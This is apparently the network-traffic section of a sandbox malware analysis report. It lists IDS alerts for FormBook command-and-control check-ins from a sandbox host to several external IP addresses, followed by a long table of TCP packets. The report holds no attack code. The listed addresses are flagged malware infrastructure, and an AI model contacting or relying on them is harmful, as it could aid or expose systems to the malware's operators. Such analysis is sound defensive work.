2024-11-05T15:24:45.557370+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	55745	161.97.142.144	80	TCP
2024-11-05T15:24:48.166703+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	55746	161.97.142.144	80	TCP
2024-11-05T15:24:50.689017+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	55747	161.97.142.144	80	TCP
2024-11-05T15:24:50.689017+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	55747	161.97.142.144	80	TCP
2024-11-05T15:24:56.545697+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	55748	13.248.169.48	80	TCP
2024-11-05T15:24:59.100062+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	55749	13.248.169.48	80	TCP
2024-11-05T15:25:01.620535+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	55750	13.248.169.48	80	TCP
2024-11-05T15:25:04.198110+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	55751	13.248.169.48	80	TCP
2024-11-05T15:25:04.198110+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	55751	13.248.169.48	80	TCP
2024-11-05T15:25:10.405488+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	55752	104.16.6.253	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 5, 2024 15:22:55.431335926 CET	55454	80	192.168.2.4	154.23.184.60
Nov 5, 2024 15:22:55.436155081 CET	80	55454	154.23.184.60	192.168.2.4
Nov 5, 2024 15:22:55.436301947 CET	55454	80	192.168.2.4	154.23.184.60
Nov 5, 2024 15:22:55.444257021 CET	55454	80	192.168.2.4	154.23.184.60
Nov 5, 2024 15:22:55.450201988 CET	80	55454	154.23.184.60	192.168.2.4
Nov 5, 2024 15:22:56.420778036 CET	80	55454	154.23.184.60	192.168.2.4
Nov 5, 2024 15:22:56.464517117 CET	55454	80	192.168.2.4	154.23.184.60
Nov 5, 2024 15:22:56.616839886 CET	80	55454	154.23.184.60	192.168.2.4
Nov 5, 2024 15:22:56.617006063 CET	55454	80	192.168.2.4	154.23.184.60
Nov 5, 2024 15:22:56.618449926 CET	55454	80	192.168.2.4	154.23.184.60
Nov 5, 2024 15:22:56.623296976 CET	80	55454	154.23.184.60	192.168.2.4
Nov 5, 2024 15:23:19.785290003 CET	55564	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:19.791614056 CET	80	55564	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:19.791702032 CET	55564	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:19.800028086 CET	55564	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:19.806301117 CET	80	55564	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:20.484478951 CET	80	55564	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:20.484637976 CET	80	55564	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:20.484649897 CET	80	55564	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:20.484708071 CET	55564	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:20.485023022 CET	80	55564	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:20.485035896 CET	80	55564	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:20.485045910 CET	80	55564	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:20.485079050 CET	55564	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:20.485099077 CET	55564	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:20.485805988 CET	80	55564	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:20.485819101 CET	80	55564	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:20.485833883 CET	80	55564	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:20.485846043 CET	80	55564	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:20.485862970 CET	55564	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:20.485887051 CET	55564	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:20.489850998 CET	80	55564	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:20.489929914 CET	80	55564	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:20.489942074 CET	80	55564	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:20.489984035 CET	55564	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:20.522625923 CET	80	55564	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:20.522706985 CET	55564	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:21.308348894 CET	55564	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:22.328069925 CET	55578	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:22.334557056 CET	80	55578	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:22.334629059 CET	55578	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:22.345351934 CET	55578	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:22.353593111 CET	80	55578	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:23.026525021 CET	80	55578	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:23.026648045 CET	80	55578	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:23.026660919 CET	80	55578	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:23.026740074 CET	55578	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:23.026921034 CET	80	55578	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:23.026936054 CET	80	55578	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:23.026949883 CET	80	55578	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:23.026985884 CET	55578	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:23.027019978 CET	55578	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:23.027790070 CET	80	55578	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:23.027806044 CET	80	55578	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:23.027820110 CET	80	55578	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:23.027844906 CET	55578	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:23.028564930 CET	80	55578	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:23.028615952 CET	55578	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:23.031691074 CET	80	55578	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:23.031898022 CET	80	55578	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:23.031909943 CET	80	55578	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:23.031964064 CET	55578	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:23.067404985 CET	80	55578	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:23.067523956 CET	55578	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:23.856086016 CET	55578	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:24.874381065 CET	55594	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:24.879981995 CET	80	55594	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:24.880120993 CET	55594	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:24.890872002 CET	55594	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:24.896379948 CET	80	55594	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:24.896478891 CET	80	55594	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:24.896497965 CET	80	55594	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:24.896507025 CET	80	55594	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:24.896518946 CET	80	55594	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:24.896528959 CET	80	55594	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:24.896538973 CET	80	55594	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:24.896730900 CET	80	55594	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:24.896902084 CET	80	55594	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:25.564204931 CET	80	55594	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:25.564311028 CET	80	55594	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:25.564326048 CET	80	55594	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:25.564380884 CET	55594	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:25.564815044 CET	80	55594	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:25.564829111 CET	80	55594	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:25.564873934 CET	55594	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:25.565268993 CET	80	55594	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:25.565282106 CET	80	55594	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:25.565293074 CET	80	55594	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:25.565304995 CET	80	55594	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:25.565326929 CET	55594	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:25.565352917 CET	55594	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:25.566135883 CET	80	55594	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:25.566190004 CET	55594	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:25.569329023 CET	80	55594	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:25.569482088 CET	80	55594	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:25.569493055 CET	80	55594	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:25.569539070 CET	55594	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:25.604131937 CET	80	55594	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:25.604243994 CET	55594	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:26.402157068 CET	55594	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:27.420404911 CET	55609	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:27.425525904 CET	80	55609	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:27.425709009 CET	55609	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:27.431590080 CET	55609	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:27.437757015 CET	80	55609	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:28.155177116 CET	80	55609	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:28.155280113 CET	80	55609	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:28.155294895 CET	80	55609	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:28.155330896 CET	55609	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:28.155759096 CET	80	55609	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:28.155771017 CET	80	55609	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:28.155790091 CET	80	55609	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:28.155881882 CET	55609	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:28.155894041 CET	55609	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:28.156426907 CET	80	55609	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:28.156440020 CET	80	55609	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:28.156456947 CET	80	55609	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:28.156483889 CET	55609	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:28.157272100 CET	80	55609	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:28.157316923 CET	55609	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:28.162250996 CET	80	55609	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:28.162492037 CET	80	55609	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:28.162576914 CET	55609	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:28.194165945 CET	80	55609	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:28.194256067 CET	55609	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:28.195265055 CET	55609	80	192.168.2.4	209.74.95.29
Nov 5, 2024 15:23:28.202564001 CET	80	55609	209.74.95.29	192.168.2.4
Nov 5, 2024 15:23:33.576061964 CET	55644	80	192.168.2.4	136.143.186.12
Nov 5, 2024 15:23:33.581372976 CET	80	55644	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:33.581469059 CET	55644	80	192.168.2.4	136.143.186.12
Nov 5, 2024 15:23:33.592297077 CET	55644	80	192.168.2.4	136.143.186.12
Nov 5, 2024 15:23:33.597886086 CET	80	55644	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:34.284486055 CET	80	55644	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:34.284665108 CET	80	55644	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:34.284729004 CET	55644	80	192.168.2.4	136.143.186.12
Nov 5, 2024 15:23:34.326970100 CET	80	55644	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:34.327063084 CET	55644	80	192.168.2.4	136.143.186.12
Nov 5, 2024 15:23:35.105376959 CET	55644	80	192.168.2.4	136.143.186.12
Nov 5, 2024 15:23:36.124418974 CET	55659	80	192.168.2.4	136.143.186.12
Nov 5, 2024 15:23:36.129391909 CET	80	55659	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:36.129477978 CET	55659	80	192.168.2.4	136.143.186.12
Nov 5, 2024 15:23:36.140371084 CET	55659	80	192.168.2.4	136.143.186.12
Nov 5, 2024 15:23:36.145656109 CET	80	55659	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:36.827424049 CET	80	55659	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:36.827519894 CET	80	55659	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:36.834522009 CET	55659	80	192.168.2.4	136.143.186.12
Nov 5, 2024 15:23:36.870414972 CET	80	55659	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:36.870510101 CET	55659	80	192.168.2.4	136.143.186.12
Nov 5, 2024 15:23:37.652160883 CET	55659	80	192.168.2.4	136.143.186.12
Nov 5, 2024 15:23:38.670649052 CET	55674	80	192.168.2.4	136.143.186.12
Nov 5, 2024 15:23:38.675769091 CET	80	55674	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:38.675882101 CET	55674	80	192.168.2.4	136.143.186.12
Nov 5, 2024 15:23:38.686458111 CET	55674	80	192.168.2.4	136.143.186.12
Nov 5, 2024 15:23:38.691458941 CET	80	55674	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:38.691474915 CET	80	55674	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:38.691485882 CET	80	55674	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:38.691494942 CET	80	55674	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:38.691509962 CET	80	55674	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:38.691519976 CET	80	55674	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:38.691553116 CET	80	55674	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:38.691597939 CET	80	55674	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:38.691606998 CET	80	55674	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:39.363715887 CET	80	55674	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:39.407413006 CET	80	55674	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:39.407521009 CET	55674	80	192.168.2.4	136.143.186.12
Nov 5, 2024 15:23:40.199044943 CET	55674	80	192.168.2.4	136.143.186.12
Nov 5, 2024 15:23:41.218358040 CET	55686	80	192.168.2.4	136.143.186.12
Nov 5, 2024 15:23:41.223268032 CET	80	55686	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:41.223356962 CET	55686	80	192.168.2.4	136.143.186.12
Nov 5, 2024 15:23:41.230813980 CET	55686	80	192.168.2.4	136.143.186.12
Nov 5, 2024 15:23:41.236013889 CET	80	55686	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:41.940274954 CET	80	55686	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:41.940345049 CET	80	55686	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:41.940356016 CET	80	55686	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:41.940645933 CET	80	55686	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:41.940660000 CET	80	55686	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:41.940670967 CET	80	55686	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:41.940689087 CET	55686	80	192.168.2.4	136.143.186.12
Nov 5, 2024 15:23:41.940826893 CET	55686	80	192.168.2.4	136.143.186.12
Nov 5, 2024 15:23:41.992619038 CET	80	55686	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:41.992815971 CET	55686	80	192.168.2.4	136.143.186.12
Nov 5, 2024 15:23:41.993711948 CET	55686	80	192.168.2.4	136.143.186.12
Nov 5, 2024 15:23:41.998651028 CET	80	55686	136.143.186.12	192.168.2.4
Nov 5, 2024 15:23:47.528799057 CET	55722	80	192.168.2.4	133.130.35.90
Nov 5, 2024 15:23:47.533922911 CET	80	55722	133.130.35.90	192.168.2.4
Nov 5, 2024 15:23:47.534003019 CET	55722	80	192.168.2.4	133.130.35.90
Nov 5, 2024 15:23:47.544778109 CET	55722	80	192.168.2.4	133.130.35.90
Nov 5, 2024 15:23:47.549683094 CET	80	55722	133.130.35.90	192.168.2.4
Nov 5, 2024 15:23:48.412935972 CET	80	55722	133.130.35.90	192.168.2.4
Nov 5, 2024 15:23:48.464607000 CET	55722	80	192.168.2.4	133.130.35.90
Nov 5, 2024 15:23:48.551155090 CET	80	55722	133.130.35.90	192.168.2.4
Nov 5, 2024 15:23:48.551270008 CET	55722	80	192.168.2.4	133.130.35.90
Nov 5, 2024 15:23:49.058547020 CET	55722	80	192.168.2.4	133.130.35.90
Nov 5, 2024 15:23:50.077721119 CET	55729	80	192.168.2.4	133.130.35.90
Nov 5, 2024 15:23:50.082777977 CET	80	55729	133.130.35.90	192.168.2.4
Nov 5, 2024 15:23:50.085688114 CET	55729	80	192.168.2.4	133.130.35.90
Nov 5, 2024 15:23:50.096906900 CET	55729	80	192.168.2.4	133.130.35.90
Nov 5, 2024 15:23:50.101878881 CET	80	55729	133.130.35.90	192.168.2.4
Nov 5, 2024 15:23:50.978941917 CET	80	55729	133.130.35.90	192.168.2.4
Nov 5, 2024 15:23:51.027180910 CET	55729	80	192.168.2.4	133.130.35.90
Nov 5, 2024 15:23:51.119215965 CET	80	55729	133.130.35.90	192.168.2.4
Nov 5, 2024 15:23:51.119297028 CET	55729	80	192.168.2.4	133.130.35.90
Nov 5, 2024 15:23:51.605717897 CET	55729	80	192.168.2.4	133.130.35.90
Nov 5, 2024 15:23:52.627640963 CET	55730	80	192.168.2.4	133.130.35.90
Nov 5, 2024 15:23:52.634058952 CET	80	55730	133.130.35.90	192.168.2.4
Nov 5, 2024 15:23:52.636512995 CET	55730	80	192.168.2.4	133.130.35.90
Nov 5, 2024 15:23:52.651947975 CET	55730	80	192.168.2.4	133.130.35.90
Nov 5, 2024 15:23:52.656888962 CET	80	55730	133.130.35.90	192.168.2.4
Nov 5, 2024 15:23:52.656928062 CET	80	55730	133.130.35.90	192.168.2.4
Nov 5, 2024 15:23:52.656940937 CET	80	55730	133.130.35.90	192.168.2.4
Nov 5, 2024 15:23:52.656950951 CET	80	55730	133.130.35.90	192.168.2.4
Nov 5, 2024 15:23:52.657011032 CET	80	55730	133.130.35.90	192.168.2.4
Nov 5, 2024 15:23:52.657202005 CET	80	55730	133.130.35.90	192.168.2.4
Nov 5, 2024 15:23:52.657280922 CET	80	55730	133.130.35.90	192.168.2.4
Nov 5, 2024 15:23:52.657290936 CET	80	55730	133.130.35.90	192.168.2.4
Nov 5, 2024 15:23:52.657301903 CET	80	55730	133.130.35.90	192.168.2.4
Nov 5, 2024 15:23:53.540708065 CET	80	55730	133.130.35.90	192.168.2.4
Nov 5, 2024 15:23:53.581374884 CET	55730	80	192.168.2.4	133.130.35.90
Nov 5, 2024 15:23:53.678941965 CET	80	55730	133.130.35.90	192.168.2.4
Nov 5, 2024 15:23:53.678997993 CET	55730	80	192.168.2.4	133.130.35.90
Nov 5, 2024 15:23:54.152332067 CET	55730	80	192.168.2.4	133.130.35.90
Nov 5, 2024 15:23:55.171365023 CET	55731	80	192.168.2.4	133.130.35.90
Nov 5, 2024 15:23:55.176407099 CET	80	55731	133.130.35.90	192.168.2.4
Nov 5, 2024 15:23:55.177015066 CET	55731	80	192.168.2.4	133.130.35.90
Nov 5, 2024 15:23:55.185609102 CET	55731	80	192.168.2.4	133.130.35.90
Nov 5, 2024 15:23:55.190433979 CET	80	55731	133.130.35.90	192.168.2.4
Nov 5, 2024 15:23:56.084033966 CET	80	55731	133.130.35.90	192.168.2.4
Nov 5, 2024 15:23:56.136507988 CET	55731	80	192.168.2.4	133.130.35.90
Nov 5, 2024 15:23:56.220732927 CET	80	55731	133.130.35.90	192.168.2.4
Nov 5, 2024 15:23:56.220855951 CET	55731	80	192.168.2.4	133.130.35.90
Nov 5, 2024 15:23:56.221645117 CET	55731	80	192.168.2.4	133.130.35.90
Nov 5, 2024 15:23:56.226463079 CET	80	55731	133.130.35.90	192.168.2.4
Nov 5, 2024 15:24:01.251257896 CET	55732	80	192.168.2.4	3.33.130.190
Nov 5, 2024 15:24:01.256169081 CET	80	55732	3.33.130.190	192.168.2.4
Nov 5, 2024 15:24:01.256253958 CET	55732	80	192.168.2.4	3.33.130.190
Nov 5, 2024 15:24:01.269614935 CET	55732	80	192.168.2.4	3.33.130.190
Nov 5, 2024 15:24:01.274610043 CET	80	55732	3.33.130.190	192.168.2.4
Nov 5, 2024 15:24:01.885379076 CET	80	55732	3.33.130.190	192.168.2.4
Nov 5, 2024 15:24:01.885452032 CET	55732	80	192.168.2.4	3.33.130.190
Nov 5, 2024 15:24:02.777441025 CET	55732	80	192.168.2.4	3.33.130.190
Nov 5, 2024 15:24:02.782736063 CET	80	55732	3.33.130.190	192.168.2.4
Nov 5, 2024 15:24:03.796253920 CET	55733	80	192.168.2.4	3.33.130.190
Nov 5, 2024 15:24:03.801270008 CET	80	55733	3.33.130.190	192.168.2.4
Nov 5, 2024 15:24:03.801342010 CET	55733	80	192.168.2.4	3.33.130.190
Nov 5, 2024 15:24:03.812220097 CET	55733	80	192.168.2.4	3.33.130.190
Nov 5, 2024 15:24:03.817135096 CET	80	55733	3.33.130.190	192.168.2.4
Nov 5, 2024 15:24:05.324202061 CET	55733	80	192.168.2.4	3.33.130.190
Nov 5, 2024 15:24:05.330044031 CET	80	55733	3.33.130.190	192.168.2.4
Nov 5, 2024 15:24:05.330319881 CET	55733	80	192.168.2.4	3.33.130.190
Nov 5, 2024 15:24:06.343986034 CET	55734	80	192.168.2.4	3.33.130.190
Nov 5, 2024 15:24:06.348908901 CET	80	55734	3.33.130.190	192.168.2.4
Nov 5, 2024 15:24:06.349006891 CET	55734	80	192.168.2.4	3.33.130.190
Nov 5, 2024 15:24:06.362786055 CET	55734	80	192.168.2.4	3.33.130.190
Nov 5, 2024 15:24:06.367731094 CET	80	55734	3.33.130.190	192.168.2.4
Nov 5, 2024 15:24:06.367793083 CET	80	55734	3.33.130.190	192.168.2.4
Nov 5, 2024 15:24:06.367803097 CET	80	55734	3.33.130.190	192.168.2.4
Nov 5, 2024 15:24:06.367815018 CET	80	55734	3.33.130.190	192.168.2.4
Nov 5, 2024 15:24:06.367889881 CET	80	55734	3.33.130.190	192.168.2.4
Nov 5, 2024 15:24:06.367923021 CET	80	55734	3.33.130.190	192.168.2.4
Nov 5, 2024 15:24:06.368470907 CET	80	55734	3.33.130.190	192.168.2.4
Nov 5, 2024 15:24:06.368503094 CET	80	55734	3.33.130.190	192.168.2.4
Nov 5, 2024 15:24:06.368923903 CET	80	55734	3.33.130.190	192.168.2.4
Nov 5, 2024 15:24:07.006325960 CET	80	55734	3.33.130.190	192.168.2.4
Nov 5, 2024 15:24:07.009732008 CET	55734	80	192.168.2.4	3.33.130.190
Nov 5, 2024 15:24:07.870980024 CET	55734	80	192.168.2.4	3.33.130.190
Nov 5, 2024 15:24:07.875921965 CET	80	55734	3.33.130.190	192.168.2.4
Nov 5, 2024 15:24:08.889712095 CET	55735	80	192.168.2.4	3.33.130.190
Nov 5, 2024 15:24:08.894768000 CET	80	55735	3.33.130.190	192.168.2.4
Nov 5, 2024 15:24:08.895840883 CET	55735	80	192.168.2.4	3.33.130.190
Nov 5, 2024 15:24:08.902976990 CET	55735	80	192.168.2.4	3.33.130.190
Nov 5, 2024 15:24:08.907819986 CET	80	55735	3.33.130.190	192.168.2.4
Nov 5, 2024 15:24:09.524441957 CET	80	55735	3.33.130.190	192.168.2.4
Nov 5, 2024 15:24:09.524956942 CET	80	55735	3.33.130.190	192.168.2.4
Nov 5, 2024 15:24:09.525201082 CET	55735	80	192.168.2.4	3.33.130.190
Nov 5, 2024 15:24:09.528038025 CET	55735	80	192.168.2.4	3.33.130.190
Nov 5, 2024 15:24:09.533004999 CET	80	55735	3.33.130.190	192.168.2.4
Nov 5, 2024 15:24:14.661670923 CET	55736	80	192.168.2.4	31.31.196.17
Nov 5, 2024 15:24:14.666683912 CET	80	55736	31.31.196.17	192.168.2.4
Nov 5, 2024 15:24:14.669982910 CET	55736	80	192.168.2.4	31.31.196.17
Nov 5, 2024 15:24:14.681673050 CET	55736	80	192.168.2.4	31.31.196.17
Nov 5, 2024 15:24:14.686958075 CET	80	55736	31.31.196.17	192.168.2.4
Nov 5, 2024 15:24:15.568255901 CET	80	55736	31.31.196.17	192.168.2.4
Nov 5, 2024 15:24:15.620965958 CET	55736	80	192.168.2.4	31.31.196.17
Nov 5, 2024 15:24:15.715382099 CET	80	55736	31.31.196.17	192.168.2.4
Nov 5, 2024 15:24:15.715459108 CET	55736	80	192.168.2.4	31.31.196.17
Nov 5, 2024 15:24:16.183803082 CET	55736	80	192.168.2.4	31.31.196.17
Nov 5, 2024 15:24:17.205662012 CET	55737	80	192.168.2.4	31.31.196.17
Nov 5, 2024 15:24:17.210777044 CET	80	55737	31.31.196.17	192.168.2.4
Nov 5, 2024 15:24:17.213824987 CET	55737	80	192.168.2.4	31.31.196.17
Nov 5, 2024 15:24:17.225663900 CET	55737	80	192.168.2.4	31.31.196.17
Nov 5, 2024 15:24:17.230645895 CET	80	55737	31.31.196.17	192.168.2.4
Nov 5, 2024 15:24:18.122412920 CET	80	55737	31.31.196.17	192.168.2.4
Nov 5, 2024 15:24:18.167829037 CET	55737	80	192.168.2.4	31.31.196.17
Nov 5, 2024 15:24:18.280154943 CET	80	55737	31.31.196.17	192.168.2.4
Nov 5, 2024 15:24:18.280205011 CET	55737	80	192.168.2.4	31.31.196.17
Nov 5, 2024 15:24:18.732161045 CET	55737	80	192.168.2.4	31.31.196.17
Nov 5, 2024 15:24:19.750363111 CET	55738	80	192.168.2.4	31.31.196.17
Nov 5, 2024 15:24:19.755717993 CET	80	55738	31.31.196.17	192.168.2.4
Nov 5, 2024 15:24:19.755798101 CET	55738	80	192.168.2.4	31.31.196.17
Nov 5, 2024 15:24:19.770385981 CET	55738	80	192.168.2.4	31.31.196.17
Nov 5, 2024 15:24:19.775341988 CET	80	55738	31.31.196.17	192.168.2.4
Nov 5, 2024 15:24:19.775418043 CET	80	55738	31.31.196.17	192.168.2.4
Nov 5, 2024 15:24:19.775432110 CET	80	55738	31.31.196.17	192.168.2.4
Nov 5, 2024 15:24:19.775440931 CET	80	55738	31.31.196.17	192.168.2.4
Nov 5, 2024 15:24:19.775451899 CET	80	55738	31.31.196.17	192.168.2.4
Nov 5, 2024 15:24:19.775573969 CET	80	55738	31.31.196.17	192.168.2.4
Nov 5, 2024 15:24:19.775594950 CET	80	55738	31.31.196.17	192.168.2.4
Nov 5, 2024 15:24:19.775604963 CET	80	55738	31.31.196.17	192.168.2.4
Nov 5, 2024 15:24:19.775614977 CET	80	55738	31.31.196.17	192.168.2.4
Nov 5, 2024 15:24:20.667485952 CET	80	55738	31.31.196.17	192.168.2.4
Nov 5, 2024 15:24:20.714806080 CET	55738	80	192.168.2.4	31.31.196.17
Nov 5, 2024 15:24:20.829792023 CET	80	55738	31.31.196.17	192.168.2.4
Nov 5, 2024 15:24:20.833734989 CET	55738	80	192.168.2.4	31.31.196.17
Nov 5, 2024 15:24:21.277368069 CET	55738	80	192.168.2.4	31.31.196.17
Nov 5, 2024 15:24:22.296545982 CET	55739	80	192.168.2.4	31.31.196.17
Nov 5, 2024 15:24:22.301505089 CET	80	55739	31.31.196.17	192.168.2.4
Nov 5, 2024 15:24:22.301594973 CET	55739	80	192.168.2.4	31.31.196.17
Nov 5, 2024 15:24:22.308820009 CET	55739	80	192.168.2.4	31.31.196.17
Nov 5, 2024 15:24:22.314042091 CET	80	55739	31.31.196.17	192.168.2.4
Nov 5, 2024 15:24:23.207484961 CET	80	55739	31.31.196.17	192.168.2.4
Nov 5, 2024 15:24:23.261898994 CET	55739	80	192.168.2.4	31.31.196.17
Nov 5, 2024 15:24:23.352957964 CET	80	55739	31.31.196.17	192.168.2.4
